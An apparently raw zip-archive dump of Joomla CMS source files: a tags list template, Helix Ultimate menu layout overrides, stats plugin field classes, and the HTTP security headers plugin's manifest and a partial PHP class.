			<fieldset class="filters d-flex justify-content-between mb-3">
				<?php if ($this->params->get('filter_field')) : ?>
					<div class="btn-group">
						<label class="filter-search-lbl visually-hidden" for="filter-search">
							<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
						</label>
						<input
							type="text"
							name="filter-search"
							id="filter-search"
							value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
							onchange="document.adminForm.submit();"
							placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
						>
						<button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
						<button type="reset" name="filter-clear-button" class="btn btn-secondary" onclick="resetFilter(); document.adminForm.submit();"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
					</div>
				<?php endif; ?>
				
				<?php if ($this->params->get('show_pagination_limit')) : ?>
					<div class="btn-group float-end">
						<label for="limit" class="visually-hidden">
							<?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
						</label>
						<?php echo $this->pagination->getLimitBox(); ?>
					</div>
				<?php endif; ?>

				<input type="hidden" name="filter_order" value="">
				<input type="hidden" name="filter_order_Dir" value="">
				<input type="hidden" name="limitstart" value="">
				<input type="hidden" name="task" value="">
			</fieldset>
		<?php endif; ?>
	</form>
</div>

<?php if ($this->items === false || $n === 0) : ?>
	<p><?php echo Text::_('COM_TAGS_NO_ITEMS'); ?></p>
<?php else : ?>
	<table class="category table table-striped table-bordered table-hover">
		<?php if ($this->params->get('show_headings')) : ?>
			<thead>
				<tr>
					<th id="categorylist_header_title">
						<?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'c.core_title', $listDirn, $listOrder); ?>
					</th>
					<?php if ($date = $this->params->get('tag_list_show_date')) : ?>
						<th id="categorylist_header_date">
							<?php if ($date === 'created') : ?>
								<?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_created_time', $listDirn, $listOrder); ?>
							<?php elseif ($date === 'modified') : ?>
								<?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_modified_time', $listDirn, $listOrder); ?>
							<?php elseif ($date === 'published') : ?>
								<?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_publish_up', $listDirn, $listOrder); ?>
							<?php endif; ?>
						</th>
					<?php endif; ?>
				</tr>
			</thead>
		<?php endif; ?>
		<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
				<?php if ($this->items[$i]->core_state == 0) : ?>
					<tr class="table-danger">
				<?php else : ?>
					<tr>
				<?php endif; ?>
					<td <?php if ($this->params->get('show_headings')) echo "headers=\"categorylist_header_title\""; ?> class="list-title">
						<a href="<?php echo Route::_($item->link); ?>">
							<?php echo $this->escape($item->core_title); ?>
						</a>
						<?php if ($item->core_state == 0) : ?>
							<span class="list-published badge bg-warning">
								<?php echo Text::_('JUNPUBLISHED'); ?>
							</span>
						<?php endif; ?>
					</td>
					<?php if ($this->params->get('tag_list_show_date')) : ?>
						<td headers="categorylist_header_date" class="list-date small">
							<?php
							echo HTMLHelper::_(
								'date', $item->displayDate,
								$this->escape($this->params->get('date_format', Text::_('DATE_FORMAT_LC3')))
							); ?>
						</td>
					<?php endif; ?>
				</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
<?php endif; ?>

<?php // Add pagination links ?>
<?php if (!empty($this->items)) : ?>
	<?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<nav class="pagination-wrapper d-lg-flex justify-content-between w-100">
			<?php echo $this->pagination->getPagesLinks(); ?>
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<div class="pagination-counter text-muted mb-4">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</div>
			<?php endif; ?>
		</nav>
	<?php endif; ?>
<?php endif; ?>
PK!
R?��0helixultimate/overrides/mod_menu/default_url.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;

$attributes = array();

$isOffcanvasMenu = $params->get('hu_offcanvas', 0, 'INT') === 1;
$maxLevel = $params->get('endLevel', 0, 'INT');
$showToggler = $maxLevel === 0 || $item->level < $maxLevel;

if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

if ($item->parent && $showToggler)
{
	$linktype .= '<span class="menu-toggler"></span>';
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
	$attributes['rel'] = 'noopener noreferrer';
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open');

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
PK!�q��,helixultimate/overrides/mod_menu/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Registry\Registry;

$id = '';

if ($tagId = $params->get('tag_id', ''))
{
	$id = ' id="' . $tagId . '"';
}


// The menu class is deprecated. Use nav instead
?>
<ul class="menu<?php echo $class_sfx; ?>"<?php echo $id; ?>>
<?php foreach ($list as $i => &$item)

{
	$layout = \json_decode($item->getParams()->get('helixultimatemenulayout', ''));

	if (\json_last_error() !== JSON_ERROR_NONE)
	{
		$layout = '';
	}

	$helixMenuLayout = new Registry($layout);
	$customClass = $helixMenuLayout->get('customclass', '');

	$class = 'item-' . $item->id;

	if ($item->id == $default_id)
	{
		$class .= ' default';
	}

	if ($item->id == $active_id || ($item->type === 'alias' && $item->getParams()->get('aliasoptions') == $active_id))
	{
		$class .= ' current';
	}

	if (in_array($item->id, $path))
	{
		$class .= ' active';
	}
	elseif ($item->type === 'alias')
	{
		$aliasToId = $item->getParams()->get('aliasoptions');

		if (count($path) > 0 && $aliasToId == $path[count($path) - 1])
		{
			$class .= ' active';
		}
		elseif (in_array($aliasToId, $path))
		{
			$class .= ' alias-parent-active';
		}
	}

	if ($item->type === 'separator')
	{
		$class .= ' menu-divider';
	}

	if ($item->deeper)
	{
		$class .= ' menu-deeper';
	}

	if ($item->parent)
	{
		$class .= ' menu-parent';
	}

	if ($customClass)
	{
		$class .= ' ' . $customClass;
	}

	echo '<li class="' . $class . '">';

	switch ($item->type) :
		case 'separator':
		case 'component':
		case 'heading':
		case 'url':
			require ModuleHelper::getLayoutPath('mod_menu', 'default_' . $item->type);
			break;

		default:
			require ModuleHelper::getLayoutPath('mod_menu', 'default_url');
			break;
	endswitch;

	// The next item is deeper.
	if ($item->deeper)
	{
		echo '<ul class="menu-child">';
	}
	// The next item is shallower.
	elseif ($item->shallower)
	{
		echo '</li>';
		echo str_repeat('</ul></li>', $item->level_diff);
	}
	// The next item is on the same level.
	else
	{
		echo '</li>';
	}
}
?></ul>
PK!>3��6helixultimate/overrides/mod_menu/default_component.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;


$attributes = array();
$isOffcanvasMenu = $params->get('hu_offcanvas', 0, 'INT') === 1;
$maxLevel = $params->get('endLevel', 0, 'INT');
$showToggler = $maxLevel === 0 || $item->level < $maxLevel;


if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($item->getParams()->get('menu_text', 1))
	{
		$linktype .= '<span class="menu-image-title">' . $item->title . '</span>';
	}
}


if ($item->parent && $showToggler)
{
	$linktype .= '<span class="menu-toggler"></span>';
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
PK!7����6helixultimate/overrides/mod_menu/default_separator.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';

$isOffcanvasMenu = $params->get('hu_offcanvas', 0, 'INT') === 1;
$maxLevel = $params->get('endLevel', 0, 'INT');
$showToggler = $maxLevel === 0 || $item->level < $maxLevel;

$linktype   = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="menu-image-title">' . $item->title . '</span>';
	}
}

if ($item->parent && $showToggler)
{
	$linktype .= '<span class="menu-toggler"></span>';
}

?>
<span class="menu-separator <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
PK!ܪ�'��4helixultimate/overrides/mod_menu/default_heading.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';

$linktype   = $item->title;

$isOffcanvasMenu = $params->get('hu_offcanvas', 0, 'INT') === 1;
$maxLevel = $params->get('endLevel', 0, 'INT');
$showToggler = $maxLevel === 0 || $item->level < $maxLevel;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="menu-image-title">' . $item->title . '</span>';
	}
}

if ($item->parent && $showToggler)
{
	$linktype .= '<span class="menu-toggler"></span>';
}

?>
<span class="nav-header <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>PK!Z
�~��stats/src/Field/DataField.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Stats\Field;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class DataField extends AbstractStatsField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Data';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.data';

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$data       = parent::getLayoutData();

		PluginHelper::importPlugin('system', 'stats');

		$result = Factory::getApplication()->triggerEvent('onGetStatsData', array('stats.field.data'));

		$data['statsData'] = $result ? reset($result) : array();

		return $data;
	}
}
PK!�+0#��!stats/src/Field/UniqueidField.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Stats\Field;

\defined('_JEXEC') or die;

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class UniqueidField extends AbstractStatsField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Uniqueid';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.uniqueid';
}
PK!��d�KK&stats/src/Field/AbstractStatsField.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Stats\Field;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;

/**
 * Base field for the Stats Plugin.
 *
 * @since  3.5
 */
abstract class AbstractStatsField extends FormField
{
	/**
	 * Get the layouts paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = Factory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/system/stats',
			JPATH_PLUGINS . '/system/stats/layouts',
			JPATH_SITE . '/layouts',
		);
	}
}
PK!n� �7-7-httpheaders/httpheaders.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_httpheaders</name>
	<author>Joomla! Project</author>
	<creationDate>October 2017</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>4.0.0</version>
	<description>PLG_SYSTEM_HTTPHEADERS_XML_DESCRIPTION</description>
	<files>
		<folder>postinstall</folder>
		<filename plugin="httpheaders">httpheaders.php</filename>
	</files>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="xframeoptions"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_XFRAMEOPTIONS"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="referrerpolicy"
					type="list"
					label="PLG_SYSTEM_HTTPHEADERS_REFERRERPOLICY"
					default="strict-origin-when-cross-origin"
					validate="options"
					>
					<option value="disabled">JDISABLED</option>
					<option value="no-referrer">no-referrer</option>
					<option value="no-referrer-when-downgrade">no-referrer-when-downgrade</option>
					<option value="origin">origin</option>
					<option value="origin-when-cross-origin">origin-when-cross-origin</option>
					<option value="same-origin">same-origin</option>
					<option value="strict-origin">strict-origin</option>
					<option value="strict-origin-when-cross-origin">strict-origin-when-cross-origin</option>
					<option value="unsafe-url">unsafe-url</option>
				</field>
				<field
					name="coop"
					type="list"
					label="PLG_SYSTEM_HTTPHEADERS_COOP"
					default="same-origin"
					validate="options"
					>
					<option value="disabled">JDISABLED</option>
					<option value="same-origin">same-origin</option>
					<option value="same-origin-allow-popups">same-origin-allow-popups</option>
					<option value="unsafe-none">unsafe-none</option>
				</field>
				<field
					name="additional_httpheader"
					type="subform"
					label="PLG_SYSTEM_HTTPHEADERS_ADDITIONAL_HEADER"
					multiple="true"
					>
					<form>
						<field
							name="key"
							type="list"
							label="PLG_SYSTEM_HTTPHEADERS_ADDITIONAL_HEADER_KEY"
							validate="options"
							class="col-md-4"
							>
							<option value="content-security-policy">Content-Security-Policy</option>
							<option value="content-security-policy-report-only">Content-Security-Policy-Report-Only</option>
							<option value="cross-origin-opener-policy">Cross-Origin-Opener-Policy</option>
							<option value="expect-ct">Expect-CT</option>
							<option value="feature-policy">Feature-Policy</option>
							<option value="permissions-policy">Permissions-Policy</option>
							<option value="referrer-policy">Referrer-Policy</option>
							<option value="report-to">Report-To</option>
							<option value="strict-transport-security">Strict-Transport-Security</option>
							<option value="x-frame-options">X-Frame-Options</option>
						</field>
						<field
							name="value"
							type="text"
							label="PLG_SYSTEM_HTTPHEADERS_ADDITIONAL_HEADER_VALUE"
							class="col-md-10"
						/>
						<field
							name="client"
							type="radio"
							label="PLG_SYSTEM_HTTPHEADERS_HEADER_CLIENT"
							default="site"
							validate="options"
							class="col-md-12"
							>
							<option value="site">JSITE</option>
							<option value="administrator">JADMINISTRATOR</option>
							<option value="both">PLG_SYSTEM_HTTPHEADERS_HEADER_CLIENT_BOTH</option>
						</field>
					</form>
				</field>
			</fieldset>
			<fieldset name="hsts" label="Strict-Transport-Security (HSTS)">
				<field
					name="hsts"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_HSTS"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="hsts_maxage"
					type="number"
					label="PLG_SYSTEM_HTTPHEADERS_HSTS_MAXAGE"
					description="PLG_SYSTEM_HTTPHEADERS_HSTS_MAXAGE_DESC"
					default="31536000"
					filter="integer"
					validate="number"
					min="300"
					showon="hsts:1"
				/>
				<field
					name="hsts_subdomains"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_HSTS_SUBDOMAINS"
					description="PLG_SYSTEM_HTTPHEADERS_HSTS_SUBDOMAINS_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					validate="options"
					showon="hsts:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="hsts_preload"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_HSTS_PRELOAD"
					description="PLG_SYSTEM_HTTPHEADERS_HSTS_PRELOAD_NOTE_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					validate="options"
					showon="hsts:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
			</fieldset>
			<fieldset name="csp" label="Content-Security-Policy (CSP)">
				<field
					name="contentsecuritypolicy"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY"
					layout="joomla.form.field.radio.switcher"
					default="0"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="contentsecuritypolicy_client"
					type="list"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_CLIENT"
					default="site"
					validate="options"
					showon="contentsecuritypolicy:1"
					>
					<option value="site">JSITE</option>
					<option value="administrator">JADMINISTRATOR</option>
					<option value="both">PLG_SYSTEM_HTTPHEADERS_HEADER_CLIENT_BOTH</option>
				</field>
				<field
					name="contentsecuritypolicy_report_only"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_REPORT_ONLY"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_REPORT_ONLY_DESC"
					layout="joomla.form.field.radio.switcher"
					default="1"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="nonce_enabled"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_NONCE_ENABLED"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_NONCE_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="script_hashes_enabled"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_SCRIPT_HASHES_ENABLED"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_SCRIPT_HASHES_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="strict_dynamic_enabled"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_STRICT_DYNAMIC_ENABLED"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_STRICT_DYNAMIC_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="style_hashes_enabled"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_STYLE_HASHES_ENABLED"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_STYLE_HASHES_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="frame_ancestors_self_enabled"
					type="radio"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_FRAME_ANCESTORS_SELF_ENABLED"
					description="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_FRAME_ANCESTORS_SELF_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="1"
					showon="contentsecuritypolicy:1"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="contentsecuritypolicy_values"
					type="subform"
					label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_VALUES"
					multiple="true"
					showon="contentsecuritypolicy:1"
					>
					<form>
						<field
							name="directive"
							type="list"
							label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_VALUES_DIRECTIVE"
							class="col-md-4"
							validate="options"
							>
							<option value="child-src">child-src</option>
							<option value="connect-src">connect-src</option>
							<option value="default-src">default-src</option>
							<option value="font-src">font-src</option>
							<option value="frame-src">frame-src</option>
							<option value="img-src">img-src</option>
							<option value="manifest-src">manifest-src</option>
							<option value="media-src">media-src</option>
							<option value="prefetch-src">prefetch-src</option>
							<option value="object-src">object-src</option>
							<option value="script-src">script-src</option>
							<option value="script-src-elem">script-src-elem</option>
							<option value="script-src-attr">script-src-attr</option>
							<option value="style-src">style-src</option>
							<option value="style-src-elem">style-src-elem</option>
							<option value="style-src-attr">style-src-attr</option>
							<option value="worker-src">worker-src</option>
							<option value="base-uri">base-uri</option>
							<option value="plugin-types">plugin-types</option>
							<option value="sandbox">sandbox</option>
							<option value="form-action">form-action</option>
							<option value="frame-ancestors">frame-ancestors</option>
							<option value="navigate-to">navigate-to</option>
							<option value="report-uri">report-uri</option>
							<option value="report-to">report-to</option>
							<option value="block-all-mixed-content">block-all-mixed-content</option>
							<option value="upgrade-insecure-requests">upgrade-insecure-requests</option>
							<option value="require-sri-for">require-sri-for</option>
						</field>
						<field
							name="value"
							type="text"
							label="PLG_SYSTEM_HTTPHEADERS_CONTENTSECURITYPOLICY_VALUES_VALUE"
							class="col-md-10"
							showon="directive!:block-all-mixed-content[AND]directive!:upgrade-insecure-requests"
						/>
						<field
							name="client"
							type="radio"
							label="PLG_SYSTEM_HTTPHEADERS_HEADER_CLIENT"
							default="site"
							class="col-md-12"
							>
							<option value="site">JSITE</option>
							<option value="administrator">JADMINISTRATOR</option>
							<option value="both">PLG_SYSTEM_HTTPHEADERS_HEADER_CLIENT_BOTH</option>
						</field>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_httpheaders.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_httpheaders.sys.ini</language>
	</languages>
</extension>
PK!Lg�/8282httpheaders/httpheaders.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.HttpHeaders
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\DatabaseDriver;
use Joomla\Event\SubscriberInterface;

/**
 * Plugin class for HTTP Headers
 *
 * @since  4.0.0
 */
class PlgSystemHttpHeaders extends CMSPlugin implements SubscriberInterface
{
	/**
	 * Application object.
	 *
	 * @var    CMSApplication
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    DatabaseDriver
	 * @since  4.0.0
	 */
	protected $db;

	/**
	 * The generated csp nonce value
	 *
	 * @var    string
	 * @since  4.0.0
	 */
	private $cspNonce;

	/**
	 * The list of the supported HTTP headers
	 *
	 * @var    array
	 * @since  4.0.0
	 */
	private $supportedHttpHeaders = [
		'strict-transport-security',
		'content-security-policy',
		'content-security-policy-report-only',
		'x-frame-options',
		'referrer-policy',
		'expect-ct',
		'feature-policy',
		'cross-origin-opener-policy',
		'report-to',
		'permissions-policy',
	];

	/**
	 * The list of valid directives based on: https://www.w3.org/TR/CSP3/#csp-directives
	 *
	 * @var    array
	 * @since  4.0.0
	 */
	private $validDirectives = [
		'child-src',
		'connect-src',
		'default-src',
		'font-src',
		'frame-src',
		'img-src',
		'manifest-src',
		'media-src',
		'prefetch-src',
		'object-src',
		'script-src',
		'script-src-elem',
		'script-src-attr',
		'style-src',
		'style-src-elem',
		'style-src-attr',
		'worker-src',
		'base-uri',
		'plugin-types',
		'sandbox',
		'form-action',
		'frame-ancestors',
		'navigate-to',
		'report-uri',
		'report-to',
		'block-all-mixed-content',
		'upgrade-insecure-requests',
		'require-sri-for',
	];

	/**
	 * The list of directives without a value
	 *
	 * @var    array
	 * @since  4.0.0
	 */
	private $noValueDirectives = [
		'block-all-mixed-content',
		'upgrade-insecure-requests',
	];

	/**
	 * The list of directives supporting nonce
	 *
	 * @var    array
	 * @since  4.0.0
	 */
	private $nonceDirectives = [
		'script-src',
		'style-src',
	];

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   4.0.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Nonce generation
		$this->cspNonce = base64_encode(bin2hex(random_bytes(64)));
		$this->app->set('csp_nonce', $this->cspNonce);
	}

	/**
	 * Returns an array of events this subscriber will listen to.
	 *
	 * @return  array
	 *
	 * @since   4.0.0
	 */
	public static function getSubscribedEvents(): array
	{
		return [
			'onAfterInitialise' => 'setHttpHeaders',
			'onAfterRender'     => 'applyHashesToCspRule',
		];
	}

	/**
	 * The `applyHashesToCspRule` method makes sure the csp hashes are added to the csp header when enabled
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function applyHashesToCspRule(): void
	{
		// CSP is only relevant on html pages. Let's early exit here.
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return;
		}

		$scriptHashesEnabled = (int) $this->params->get('script_hashes_enabled', 0);
		$styleHashesEnabled  = (int) $this->params->get('style_hashes_enabled', 0);

		// Early exit when both options are disabled
		if (!$scriptHashesEnabled && !$styleHashesEnabled)
		{
			return;
		}

		$headData     = $this->app->getDocument()->getHeadData();
		$scriptHashes = [];
		$styleHashes  = [];

		if ($scriptHashesEnabled)
		{
			// Generate the hashes for the script-src
			$inlineScripts = is_array($headData['script']) ? $headData['script'] : [];

			foreach ($inlineScripts as $type => $scripts)
			{
				foreach ($scripts as $hash => $scriptContent)
				{
					$scriptHashes[] = "'sha256-" . base64_encode(hash('sha256', $scriptContent, true)) . "'";
				}
			}
		}

		if ($styleHashesEnabled)
		{
			// Generate the hashes for the style-src
			$inlineStyles = is_array($headData['style']) ? $headData['style'] : [];

			foreach ($inlineStyles as $type => $styles)
			{
				foreach ($styles as $hash => $styleContent)
				{
